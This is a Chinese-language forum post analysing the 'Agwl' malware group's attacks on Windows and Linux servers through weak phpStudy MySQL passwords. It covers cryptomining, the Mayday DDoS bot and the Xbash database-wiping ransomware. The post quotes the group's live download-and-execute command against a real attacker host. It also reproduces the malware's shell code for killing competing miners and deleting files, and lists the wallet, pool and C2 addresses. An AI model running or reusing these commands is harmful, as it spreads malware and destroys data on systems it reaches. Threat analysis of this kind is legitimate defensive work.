-
-
[原创]Agwl病毒团伙对Linux系统的三连击:挖矿、DDoS、删库勒索
-
发表于: 2019-8-7 16:55 4770
-
该团伙早期入侵后植入的都是基于Windows平台的木马,其挖矿木马部分会首选清除其他挖矿程序、阻止其他挖矿木马访问矿池、独享系统资源。而最近的更新中,我们监测发现,“Agwl”团伙增加了对Linux系统的攻击,入侵成功后加入基于Linux系统执行的bash脚本代码s667。该脚本运行后会添加自身到定时任务,并进一步下载Linux平台下的CPU挖矿木马bashf和GPU挖矿木马bashg。
然而此时攻击并没有结束,“Agwl”团伙会继续植入Linux平台的DDoS病毒lst(有国外研究者命名为“Mayday”)以及勒索蠕虫病毒Xbash。Xbash勒索病毒会从C2服务器读取攻击IP地址段,扫描这些网络中的VNC、Rsync、MySQL、MariaDB、Memcached、PostgreSQL、MongoDB和phpMyAdmin服务器进行爆破攻击,爆破登录成功后不像其他勒索病毒那样去加密数据再勒索酬金,而是直接将数据库文件删除后骗取酬金,企业一旦中招将会遭受严重损失。
图1 “Agwl”团伙攻击流程
中招主机通过phpStudy一键部署PHP环境,默认情况下包含phpinfo及phpMyAdmin并且任何人都可以访问,同时安装的MySQL默认口令为弱口令密码并且开启在外网3306端口。在未设置安全组或者安全组为放通全端口的情况下,受到攻击者对于phpStudy的针对性探测,并且暴露了其MySQL弱口令。攻击者使用MySQL弱口令登录后,在web目录下执行Shell,并在其中添加植入挖矿木马的恶意代码。
入侵后执行shell命令为:
cmd.exe /c "certutil.exe -urlcache -split -f http://wk.skjsl.com:93/Down.exe &Down.exe &del Down.exe&cd /tmp &&wget http://wk.skjsl.com:93/s667 &chmod 777 s667&./s667
“Agwl”团伙对Windows平台植入的木马为Down.exe,针对Linux平台植入的是s667。
Down.exe为自解压程序,解压后释放一个hosts文件和7个BAT文件。根据解压命令,文件被释放到C:\Windows\debug\SYSTEM 目录下,首先被执行的是start.bat
图2
Start.bat主要功能为:
创建目录C:\ProgramData\Microsoft\test并设置为隐藏,将down.bat、open.bat、skycmd.bat拷贝到该目录中并安装为计划任务反复执行,对应的计划任务名分别为“SYSTEM”、“DNS”、“skycmd”;然后从www[.]kuaishounew.com下载wget.exe作为后续下载工具;最后启动start2.bat。
图3
Start2.bat的功能为:
利用start.bat中下载的wget.exe从微软官方下载vc_redist.x64.exe,从www[.]kuaishounew.com下载unzip.exe(后续用到的解压工具)和hook.exe,然后执行install3.bat。
(vcredist_x64.exe是微软的Visual C++运行时库,安装后能够在未安装VC++的电脑上运行由 Visual C++开发的64位应用,该模块被下载以保证64位木马正常运行。)
图4
Install3.bat主要用于木马的三个服务“SYSTEM”、“DNS”、“skycmd”的安装和保持。
1、服务“SYSTEM”
执行的脚本为down.bat,主要功能为下载矿机程序wrsngm.zip进行挖矿,该矿机程序为开源挖矿程序xmr-stak修改而成,github地址https[:]//github.com/fireice-uk/xmr-stak。
使用矿池:wk.skjsl.com:3333
钱包:4AggMSAnFrQbp2c6gb98BZDBydgmjNhhxdN4qBSjwc3BDNQZwg5hRqoNczXMr7Fz6ufbwVaJL8sJmTdrp2dbKYcFRY2pe33
图5
图6
该钱包上线时间不长,查询收益目前仅获得0.7个XMR
图7
2、服务“DNS”
对应执行的脚本为open.bat。功能为替换本地域名解析文件hosts,然后启动挖矿程序。
替换后的hosts文件将其他的矿池域名解析指向127.0.0.1,阻止其正常访问从而独占挖矿所需的计算资源。从该文件中还会将木马原来的C2地址从111.230.195.174迁移至116.206.177.144。
图8
open.bat还会启动qc.bat来清除入侵过程中在xampp、www、phpstudy目录下载残留的EXE木马,以及badboy.php、test00.php木马。
图9
3、服务“skycmd”
执行脚本skycmd.bat。功能为下载skycmdst.txt,重命名为skycmdst.bat并执行,目前下载该文件为网页文件,但黑客可通过后台配置动态更改下载的恶意代码。
图10
s667为入侵Linux系统后首先执行的脚本。脚本判断当前是否是root权限,如果不是则下载lower23.sh到/tmp/目录并通过nohup bash命令执行;如果是root权限则添加下载执行s667的定时任务,每5分钟执行一次,然后下载rootv23.sh到/tmp/目录并通过nohup bash命令执行。
图11
最终下载执行的bash脚本lower23.sh或root23.sh负责植入Linux版本挖矿木马、清理竞品挖矿木马以及植入其他病毒等功能。
在function kills()中对竞品挖矿木马进行清除:
1、按照进程名匹配(包括被安全厂商多次披露的利用redis入侵挖矿的木马“ddg*”、“sourplum”、”wnTKYg”)。
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
2、按照矿池匹配,杀死连接指定矿池的进程
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
3、按照端口匹配,杀死使用端口9999/5555/7777/14444进行tcp通信的进程
PORT_NUMBER=9999
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=5555
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=7777
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=14444
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
4、删除指定目录文件
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
在function downloadyam()中下载Linux挖矿程序bashg(由开源GPU挖矿程序xmr-stak编译)和配置文件pools.txt;下载Linux平台CPU挖矿程序bashf(采用开源挖矿程序XMRig编译)以及配置文件名config.json。两种挖矿程序均使用与攻击Windows平台时相同的门罗币矿池和钱包。
图12
图13
lower23.sh在完成挖矿功能后,还会植入基于Linux的DDoS病毒lst(国外厂商命名为Mayday)
图14
lst搜集以下信息,并将其保存至结构g_statBase中:
系统版本
CPU核心数及其时钟速率
CPU负载
网络负载
图15
创建一个新线程CThreadTaskManager :: ProcessMain(),将开始攻击和终止攻击的命令放入执行队列。在此之后,创建一个新线程CThreadHostStatus :: ProcessMain(),在此线程中,CPU和网络负载的数据每秒更新一次,如果接到请求,可以随时将数据发送到C&C服务器。
[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!